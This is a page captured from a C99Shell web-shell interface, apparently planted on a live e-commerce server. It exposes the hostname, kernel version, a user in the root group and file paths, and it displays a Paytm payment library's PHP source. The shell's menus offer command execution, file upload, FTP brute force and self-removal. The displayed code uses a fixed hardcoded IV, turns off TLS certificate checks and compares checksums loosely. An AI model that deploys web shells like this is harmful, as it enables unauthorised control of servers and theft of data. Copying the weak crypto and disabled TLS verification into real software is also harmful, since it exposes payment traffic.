!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Paytm/Library/   drwxr-xr-x
Free 26.17 GB of 117.98 GB (22.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EncdecPaytm.php (5.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Paytm\Library;

use 
Illuminate\Support\Str;

class 
EncdecPaytm
{
    
/**
     * Encrypt a string
     *
     * @param String $input
     * @param String $ky
     * @return string data
     */
    
public static function encrypt_e($input$ky)
    {
        
$key   html_entity_decode($ky);
        
$iv "@@@@&&&&####$$$$";
        return 
openssl_encrypt($input"AES-128-CBC"$key0$iv);
    }

    
/**
     * Decrypt a String
     *
     * @param [type] $crypt
     * @param [type] $ky
     * @return String 
     */
    
public static function decrypt_e($crypt$ky)
    {
        
$key   html_entity_decode($ky);
        
$iv "@@@@&&&&####$$$$";
        return 
openssl_decrypt($crypt"AES-128-CBC"$key0$iv);
    }

    
/**
     * Generate a random string
     *
     * @param Int $length
     * @return String
     */
    
public static function generateSalt_e($length)
    {
        return 
Str::random($length);
    }

    
/**
     * Get check sum from array
     *
     * @param array $arrayList
     * @param string $key
     * @param integer $sort
     * @return response
     */
    
public static function getChecksumFromArray($arrayList$key$sort 1)
    {
        if (
$sort != 0) {
            
ksort($arrayList);
        }
        
$str self::getArray2Str($arrayList);
        
$salt self::generateSalt_e(4);
        
$finalString implode('|', [$str$salt]);
        
$hash hash("sha256"$finalString);
        
$hashString $hash $salt;
        return 
self::encrypt_e($hashString$key);
    }

    
/**
     * Get check sum from string
     *
     * @param string $str
     * @param string $key
     * @return response
     */
    
public static function getChecksumFromString($str$key)
    {
        
$salt self::generateSalt_e(4);
        
$finalString implode('|', [$str$salt]);
        
$hash hash("sha256"$finalString);
        
$hashString $hash $salt;
        return 
self::encrypt_e($hashString$key);
    }

    
/**
     * Verify check sum
     *
     * @param array $arrayList
     * @param string $key
     * @param string $checksum_value
     * @return boolean true|false
     */
    
public static function verifychecksum_e($arrayList$key$checksum_value)
    {
        
$arrayList self::removeCheckSumParam($arrayList);
        
ksort($arrayList);
        
$str self::getArray2Str($arrayList);
        
$paytm_hash self::decrypt_e($checksum_value$key);
        
$salt substr($paytm_hash, -4);

        
$finalString implode('|', [$str$salt]);

        
$website_hash hash("sha256"$finalString);
        
$website_hash .= $salt;

        return (
$website_hash == $paytm_hash) ? true false;
    }

    
/**
     * Create array to string.
     *
     * @param array $array_list
     * @return string
     */
    
public static function getArray2Str($array_list)
    {
        return 
implode('|'$array_list);
    }


    
/**
     * Remove array CHECKSUMHASH key value
     *
     * @param Array $array_list
     * @return Array
     */
    
public static function removeCheckSumParam($array_list)
    {
        if (isset(
$array_list["CHECKSUMHASH"])) {
            unset(
$array_list["CHECKSUMHASH"]);
        }
        return 
$array_list;
    }

    
/**
     * Check transaction status 
     * 
     * @param mix $request_paramList
     * @param url $paytm_status_query_new_url
     * @return response
     */
    
public static function getTxnStatusNew($request_paramList$paytm_status_query_new_url)
    {
        return 
self::callNewAPI($paytm_status_query_new_url$request_paramList);
    }

    
/**
     * Initial request for refund
     *
     * @param mix|array $request_paramList
     * @param url $paytm_refund_url
     * @return response
     */
    
public static function initiateTxnRefund($request_paramList$paytm_merchant_key$paytm_refund_url)
    {
        
$CHECKSUM self::getChecksumFromArray($request_paramList$paytm_merchant_key0);
        
$request_paramList["CHECKSUM"] = $CHECKSUM;
        return 
self::callNewAPI($paytm_refund_url$request_paramList);
    }

    
/**
     * Call a api
     *
     * @param url $apiURL
     * @param mix|array $requestParamList
     * @return response
     */
    
public static function callNewAPI($apiURL$requestParamList)
    {
        
$jsonResponse "";
        
$JsonData json_encode($requestParamList);
        
$postData 'JsonData=' urlencode($JsonData);
        
$ch curl_init($apiURL);
        
curl_setopt($chCURLOPT_CUSTOMREQUEST"POST");
        
curl_setopt($chCURLOPT_POSTFIELDS$postData);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($chCURLOPT_SSL_VERIFYHOST0);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
        
curl_setopt(
            
$ch,
            
CURLOPT_HTTPHEADER,
            array(
                
'Content-Type: application/json',
                
'Content-Length: ' strlen($postData)
            )
        );
        
$jsonResponse curl_exec($ch);
        return 
json_decode($jsonResponsetrue);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--